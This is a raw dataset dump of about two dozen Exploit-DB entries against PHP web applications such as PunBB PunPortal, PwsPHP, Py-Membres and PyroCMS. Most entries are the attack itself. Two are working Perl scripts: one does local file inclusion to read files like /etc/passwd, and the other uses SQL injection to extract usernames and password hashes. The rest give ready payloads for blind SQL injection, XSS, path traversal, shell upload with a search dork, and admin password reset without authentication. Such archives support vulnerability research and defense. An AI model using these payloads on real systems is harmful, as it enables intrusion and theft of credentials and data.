deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7168
Description: PunBB Mod PunPortal 0.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-11-20
Author: StAkeR

Exploit:
#!/usr/bin/perl

=about

    PunBB (PunPortal 0.1) Local File Inclusion Exploit
    --------------------------------------------------
    by athos - staker[at]hotmail[dot]it
    download mod http://www.punres.org/download.php?id=1108
    download cms http://punbb.org

    register globals = 1
    magic quotes gcp = 1
    
  
    
    File (include/login.php)
    
    1. <?php
    2.
    3. // Show login if not logged in
    4. if($pun_user['is_guest'])
    5. {
    6. if(!isset($focus_element) || (isset($focus_element) && !in_array('login', $focus_element)))
    7. {
    8. 
    9. // Load the language files
    10. require PUN_ROOT.'lang/'.$pun_user['language'].'/common.php';
    11. require PUN_ROOT.'lang/'.$pun_user['language'].'/login.php';
    
    
    $pun_user['is_guest'] isn't declared
    $pun_user['language'] isn't declared
    
    include/user/login.php?pun_user[is_guest]=a&pun_user[language]=../../etc/passwd%00
    
    how to fix?use the latest version (2.0) 
     
    Usage: perl punbb.pl localhost/cms
    
=cut


use strict;
use warnings;
use IO::Socket;


my $html = undef;
my $site = $ARGV[0] or &help;
my @take = split /\//,$site;

my ($host,$path) = @take;

if($site =~ /http:\/\/(.+?)/i) {
  print STDOUT "Invalid URL\n";
  exit;
}

print STDOUT "Local File (ex: ../../etc/passwd)\n";
print STDOUT "Local File: ";
  
chomp(my $file = <STDIN>);

if(not defined($file)) {
  print STDOUT "File Not Defined!\n";
  exit;
}


my $evil = "/include/user/login.php?pun_user[is_guest]=a&pun_user[language]=";

my $sock = new IO::Socket::INET(
                                 PeerAddr => $host,
                                 PeerPort => 80,
                                 Proto    => 'tcp',
                                 Timeout  => 6,
                              ) or die $!;   

my $data = "GET /${path}/${evil}${file}%00 HTTP/1.1\r\n".
           "Host: $host\r\n".
           "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n".
           "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
           "Accept-Language: en-us,en;q=0.5\r\n".
           "Accept-Encoding: gzip,deflate\r\n".
           "Connection: close\r\n\r\n";

$sock->send($data);

while(<$sock>) {
  $html .= $_;
}           

if($html =~ /(No such file or directory|HTTP\/1.1 404 Not Found)/i) {
  print STDOUT "Exploit Failed!\n";
  exit;
}
else {
  my $name = int(rand(999)).'.txt';
  
  open(FILE,">",$name);
  print FILE $html;
  close(FILE);
  
  print STDOUT "Exploit Successfully!\n";
  print STDOUT "$name saved!\n";
  exit;
}


sub help {
  print STDOUT "PunBB (PunPortal 0.1) Local File Inclusion Exploit\n".
               "by athos - staker[at]hotmail[dot]it\n".
               "Usage: perl $0 [host/path]\n";
  exit;
}

# milw0rm.com [2008-11-20]
Exploit-DB #11490
Description: PunBBAnnuaire 0.4 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-02-17
Author: Metropolis

Exploit:
PunBBAnnuaire <=0.4 Blind SQL Injection Vulnerability
========================================================

####################################################################
.:. Author : Metropolis
.:. Home : http://xrayoptics.by.ru/
.:. Script : PunBBAnnuaire
.:. Version : 0.4
.:. Download Script: http://www.punres.org/download.php?id=1737
.:. Bug Type : Blind Sql Injection

####################################################################

===[ Exploit ]===

/annuaire.php?action=site&id=1[ Blind SQL INJECTION ]


www.site.com/forum/annuaire.php?action=site&id=1 and 1=1 <-- true

www.site.com/forum/annuaire.php?action=site&id=1 and 1=2 <-- false



####################################################################

Vive la France !
Exploit-DB #39157
Description: Puntopy - 'novedad.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-04-06
Author: Felipe Andrian Peixoto

Exploit:
source: https://www.securityfocus.com/bid/67241/info

Puntopy is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/novedad.php?id=[SQL Injection]
Exploit-DB #51312
Description: Purchase Order Management-1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2023-04-06
Author: nu11secur1ty

Exploit:
## Title: Purchase Order Management-1.0 - Local File Inclusion 
## Author: nu11secur1ty
## Date: 03.06.2023
## Vendor: https://www.sourcecodester.com/user/257130/activity
## Software: https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
## Reference: https://brightsec.com/blog/file-inclusion-vulnerabilities/

## Description:
The Purchase Order Management-1.0 suffer from File Inclusion Vulnerabilities.
The users of this system are allowed to submit input into files or
upload files to the server.
The malicious attacker can get absolute control of this system!

STATUS: CRITICAL Vulnerability


[+]Get Info:

```PHP
<?php
// by nu11secur1ty - 2023
	phpinfo();
?>

```
[+]Exploit:

```PHP
<?php
// by nu11secur1ty - 2023
// Old Name Of The file
$old_name = "C:/xampp7/htdocs/purchase_order/" ;

// New Name For The File
$new_name = "C:/xampp7/htdocs/purchase_order_stupid/" ;

// using rename() function to rename the file
rename( $old_name, $new_name) ;

?>
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Purchase-Order-Management-1.0)

## Proof and Exploit:
[href](https://streamable.com/vkq31h)

## Time spend:
00:35:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #51929
Description: Purei CMS 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2024-03-28
Author: Number 7

Exploit:
# Exploit Title: Purei CMS 1.0 - SQL Injection
# Date: [27-03-2024]
# Exploit Author: [Number 7]
# Vendor Homepage: [purei.com]
# Version: [1.0]
# Tested on: [Linux]
____________________________________________________________________________________

Introduction:
An SQL injection vulnerability permits attackers to modify backend SQL statements through manipulation 
of user input. Such an injection transpires when web applications accept user input directly inserted 
into an SQL statement without effectively filtering out hazardous characters.

This could jeopardize the integrity of your database or reveal sensitive information.
____________________________________________________________________________________

Time-Based Blind SQL Injection:
Vulnerable files:
http://localhost/includes/getAllParks.php
http://localhost/includes/getSearchMap.php

make a POST request with the value of the am input set to :  

	if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/ 

make sure to url encode the inputs.	
SQL injection:
Method: POST REQUEST

Vunerable file:

/includes/events-ajax.php?action=getMonth
data for the POST req:
month=3&type=&year=2024&cal_id=1[Inject Here]
Exploit-DB #17343
Description: Puzzle Apps CMS 3.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-05-29
Author: Treasure Priyamal

Exploit:
# ------------------------------------------------------------------------
# Software................ Puzzle Apps CMS 3.2
# Vulnerability........... Local File Inclusion 
# Site.................... http://www.puzzleapps.org/
# Download Link........... http://sourceforge.net/projects/puzzlecms/files/puzzlecms/Puzzle Apps CMS 3.2/puzzle-3.2.tar.gz/download
# Discovery Date.......... 5/29/2011
# Tested On............... Windows XPsp2 + WAMP
# ------------------------------------------------------------------------
# Author.................. Treasure Priyamal
# Site.................... http://www.treasuresec.com/
# Email................... Treasure Priyamal <treasure@treasuresec.com>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# In Puzzle App CMS there are couple of the places you will be able to find 
# LFI vulns. 
#
#
# -- Vulnerable Source
# include_once ($COREROOT . "config/loader.config.php");
#
# --Sample to LFI--
# 
#http://localhost/puzzle/core/config.loader.php?COREROOT=[LFI]
#
#
# --PoC LFI --
#
#http://localhost/puzzle/core/config.loader.php?COREROOT=../../../boot.ini%00
#
#
Exploit-DB #21391
Description: PVote 1.0/1.5 - Poll Content Manipulation
Type: webapps
Platform: php
Date: 2002-04-18
Author: Daniel NystrÃ¶m

Exploit:
source: https://www.securityfocus.com/bid/4540/info

PVote is a web voting system written in PHP. It will run on most Unix and Linux variants as well as Microsoft Windows operating systems.

It is possible for a remote attacker to add/delete web polls just by manipulating the values of URL parameters. 

ADD A POLL:

http://target/pvote/add.php?question=AmIgAy&o1=yes&o2=yeah&o3=well..yeah&o4
=bad

where question refers to the topic of the topic to be added by the attack.

DELETE A POLL:

http://target/pvote/del.php?pollorder=1

where pollorder is the poll 'id' number for the poll to be deleted.
Exploit-DB #21397
Description: PVote 1.0/1.5 - Unauthorized Administrative Password Change
Type: webapps
Platform: php
Date: 2002-04-18
Author: Daniel NystrÃ¶m

Exploit:
source: https://www.securityfocus.com/bid/4541/info

PVote is a web voting system written in PHP. It will run on most Unix and Linux variants as well as Microsoft Windows operating systems.

It is possible to change the administrative password by submitting a malicious web request containing the appropriate values for the URL parameters. No authentication credentials are required. 

http://target/pvote/ch_info.php?newpass=password&confirm=password

where password is the attacker-supplied value for the new administrative password.
Exploit-DB #7740
Description: PWP Wiki Processor 1-5-1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-01-12
Author: ahmadbady

Exploit:
  ====remote shell upload====

================================
script: PWP Wiki Processor 1-5-1
   
===========================================================================
download from:http://www.lars-ackermann.de/wiki/static/upload/PWP_1-5-1_en-US.zip
   
===========================================================================
xpl:

www.site..com/path/wiki/run.php?iRequest=upload/UploadList

(upload shell.php.flv)


shell: www.site.com/path/wiki/upload/shell.php.flv
------------------------------------------------------------

dork: "(Powered by PWP Version 1-5-1 )"     &&   inurl:"/wiki/run.php"
  
------------------------------------------------------------  
**************************************************


Author: ahmadbady [kivi_hacker666@yahoo.com]

**************************************************

# milw0rm.com [2009-01-12]
Exploit-DB #2693
Description: PwsPHP 1.1 - '/themes/fin.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-31
Author: 3l3ctric-Cracker

Exploit:
==========================================================================================================================
PwsPHP v1.1 (theme) File inclusion Vulnerablity
===============================================
Script:PwsPHP
=============
Version:1.1
=============
script site:http://www.pwsphp.com
=================================
Author:Dr Max Virus
=======================================
Bug in;
themes/fin.php
==============
Vul Code:
require ("$theme/fin.php")
==========================
Exploit:
www.victim.com/script_path/themes/fin.php?themes=shell.txt?
===========================================================
Gr33Ts:str0ke-the master-Thehacker-NETTOXIC-ShiKAa-xoron-0xygen-All Ayyildiz
Team-All My Friends
================================================================================================
http://www.comscripts.com/scripts/php.pwsphp.1517.html
================================================================================================

# milw0rm.com [2006-10-31]
Exploit-DB #25640
Description: PWSPHP 1.1/1.2 - 'Profil.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-09
Author: SecuBox fRoGGz

Exploit:
source: https://www.securityfocus.com/bid/13563/info

PwsPHP is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

The vendor has addressed this issue in PwsPHP version 1.2.3; earlier versions are reported vulnerable. 

http://www.example.com/profil.php?id='[SQL Injection]
Exploit-DB #25639
Description: PWSPHP 1.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-09
Author: SecuBox fRoGGz

Exploit:
source: https://www.securityfocus.com/bid/13561/info

PwsPHP is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

The vendor has addressed these issues in PwsPHP version 1.2.3; earlier versions are reported vulnerable. 

http://www.example.com/index.php?mod=news&ac=plus&month=[XSS INJECTION]&annee=[XSS INJECTION]
http://www.example.com/index.php?mod=stats&aff=forum&nbractif=[XSS INJECTION]
http://www.example.com/index.php?mod=stats&aff=pages&annee=[XSS INJECTION]
http://www.example.com/profil.php?id=1%20[XSS INJECTION]
http://www.example.com/memberlist.php?mb_lettre=%A4%20[XSS INJECTION]
http://www.example.com/memberlist.php?mb1_order=id&mb1_ord=DESC&lettre=[XSS INJECTION]
http://www.example.com/index.php?&mod=recherche&choix_recherche=2&chaine_search=[XSS INJECTION]&multi_mots=tous&choix_forum=1&auteur_search=[XSS INJECTION]
Exploit-DB #1532
Description: PwsPHP 1.2.3 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-25
Author: papipsycho

Exploit:
#!/usr/bin/perl
#
# PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit
# http://example.com/index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*
# Discovered by: papipsycho (papipsycho.com) (WOrlddefacers.de)
# ported by str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];

sub usage
 {
    print "\nPwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit\n";
    print "Discovered by: papipsycho (papipsycho.com)\n";
    print "Ported by str0ke (milw0rm.com)\n";
    print "Usage: $0 www.example.com /directory/\n";
    print "sever    -  URL\n";
    print "path     -  path to index.php\n";
    exit ();
}

sub exploit
 {
    print qq(
    PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit
    Discovered by: papipsycho (papipsycho.com)
    Ported by str0ke (milw0rm.com)\n\n);

    $string= "index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*";
    $url = sprintf("http://%s%s%s",$serv,$path,$string);
    $content = get "$url";
    @contents = split(/\n/, $content);
    foreach $line (@contents) {
    if ($line =~ /(\<center\>\<b\>)(.*?)(\<\/b\>\<\/center\>\<br\>\<br\>)/){&username;}
    if ($line =~ /(\<td\>)(\w{32})(\<\/td\>)/){&password;}
    }
}

sub username { print "[*] Username: $2\n";}
sub password { print "[*] Hash: $2\n\n";}

if (@ARGV != 2){&usage;}else{&exploit;}

# milw0rm.com [2006-02-25]
Exploit-DB #21886
Description: Py-Membres 3.1 - 'index.php' Unauthorized Access
Type: webapps
Platform: php
Date: 2002-10-02
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/5849/info

A vulnerability has been reported for Py-Membres 3.1 that allows remote attackers to obtain administrative privileges on vulnerable installations.

Reportedly, Py-Membres does not fully check some URI parameters. Thus it is possible for an attacker to manipulate URI parameters and log into the system as an arbitrary user without the need for passwords. 

http://[target]/index.php?pymembs=admin
Exploit-DB #22474
Description: Py-Membres 4.0 - SQL Injection
Type: webapps
Platform: php
Date: 2003-04-07
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/7301/info

A vulnerability has been reported for Py-Membres 4.0 that allows remote attackers to modify the logic of SQL queries.

It has been reported that an input validation error exists in the login.php file included with Py-Membres. Because of this, a remote attacker may launch SQL injection attacks through the software. 

http://www.example.org/login.php?login='%20OR%20ISNULL(NULL)%20INTO%20OUTFILE%20'/path/to/site/file.txt&pass=1

This will save all user passwords to the file.txt file, which will be remotely accessible.
Exploit-DB #23061
Description: Py-Membres 4.x - 'Pass_done.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-08-26
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/8500/info

A vulnerability has been reported for Py-Membres that allows remote attackers to modify the logic of SQL queries.

It has been reported that an input validation error exists in the pass_done.php file included with Py-Membres. Because of this, a remote attacker may launch SQL injection attacks through the software. 

http://www.example.com/pass_done.php?Submit=1&email='%20OR%203%20IN%20(1,2,3)%20INTO%20OUTFILE%20'/complete/path/file.txt
Exploit-DB #23060
Description: Py-Membres 4.x - 'Secure.php' Unauthorized Access
Type: webapps
Platform: php
Date: 2003-08-26
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/8499/info

A vulnerability has been reported for Py-Membres that allows remote attackers to obtain administrative privileges on vulnerable installations.

Reportedly, Py-Membres does not fully check some URI parameters. Thus it is possible for an attacker to manipulate URI parameters and log into the system as an administrative user without the need for passwords.

http://www.example.com/admin/admin.php?adminpy=1
Exploit-DB #18985
Description: pyrocms 2.1.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-06-05
Author: LiquidWorm

Exploit:
PyroCMS 2.1.1 CRLF Injection And Stored XSS Vulnerability


Vendor: HappyNinjas Ltd
Product web page: http://www.pyrocms.com
Affected version: 2.1.1 (Community)

Summary: PyroCMS is a CMS built using the CodeIgniter PHP framework.
Using an MVC architecture it was built with modularity in mind. Lightweight,
themeable and dynamic.

Desc: PyroCMS suffers from a stored XSS and HTTP Response Splitting
vulnerability when parsing user input to the 'title' and 'redirect_to'
parameters via POST method thru 'index.php' script. Attackers can exploit
these weaknesses to execute arbitrary HTML and script code in a user's
browser session or insert arbitrary HTTP headers, which are included in
a response sent to the user.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           PHP 5.3.8
           MySQL 5.5.20


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab - http://www.zeroscience.mk


[20.05.2012] Vulnerabilities discovered.
[20.05.2012] Initial contact with the vendor.
[20.05.2012] Vendor responds asking more details.
[20.05.2012] Sent detailed information to the vendor.
[21.05.2012] Vendor confirms the issues.
[22.05.2012] Asked vendor for status update.
[27.05.2012] Vendor replies.
[03.06.2012] Vendor releases version 2.1.2 to address these issues.
[04.06.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5092
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5092.php

Vendor Advisory: http://www.pyrocms.com/store/details/pyrocms_professional


20.05.2012


----


#1

 - POST http://localhost/pyrocms/index.php/admin/blog/categories/create_ajax HTTP/1.1

   csrf_hash_name   28b57b25dd24b3adb785de7fd863b6be
   title            "><script>alert(1);</script>


#2

 - POST http://localhost/pyrocms/index.php/users/login HTTP/1.1

   btnLogin      Login
   email         lab@zeroscience.mk
   password
   redirect_to   %0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection
   remember      1


#2a

 - POST http://localhost/pyrocms/index.php/comments/create/pages/4 HTTP/1.1

   comment          t00t%20w00t!
   d0ntf1llth1s1n
   redirect_to      %0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection
   submit           Comment
Exploit-DB #52016
Description: PyroCMS v3.0.1 - Stored XSS
Type: webapps
Platform: php
Date: 2024-05-13
Author: tmrswrr

Exploit:
# Exploit Title: PyroCMS v3.0.1  - Stored XSS
# Date: 2023-11-25
# Exploit Author: tmrswrr
# Category : Webapps
# Vendor Homepage: https://pyrocms.com/
# Version: v3.0.1
# Tested on: https://www.softaculous.com/apps/cms/PyroCMS



----------------------------------------------------------------------------------------------------


1-Login admin panel , go to this url : https://127.0.0.1/public/admin/redirects/edit/1
2-Write in Redirect From field your payload : <sVg/onLy=1 onLoaD=confirm(1)//
3-Save it and go to this url : https://127.0.0.1/public/admin/redirects
4-You will be see alert button
Exploit-DB #29631
Description: Pyrophobia 2.1.3.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-22
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22667/info

Pyrophobia is prone to multiple input-validation vulnerabilities, including multiple local file-include issues and multiple cross-site scripting issues.

An attacker can exploit these issues to steal cookie-based authentication credentials, view files, and execute local scripts within the context of the affected webserver. Other attacks are also possible. 

http://www.example.com/modules/out.php?id=[xss]
Exploit-DB #29632
Description: Pyrophobia 2.1.3.1 - Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2007-02-22
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22667/info
 
Pyrophobia is prone to multiple input-validation vulnerabilities, including multiple local file-include issues and multiple cross-site scripting issues.
 
An attacker can exploit these issues to steal cookie-based authentication credentials, view files, and execute local scripts within the context of the affected webserver. Other attacks are also possible.
 
http://www.example.com/pyrophobia/?act=../../../../../../../../../../../../file.ext00

http://www.example.com/pyrophobia/?pid=../../../../../../../../../../../../file.ext%00

http://www.example.com/pyrophobia/admin/index.php?action=../../../../../../../../../../../../../file.ext%00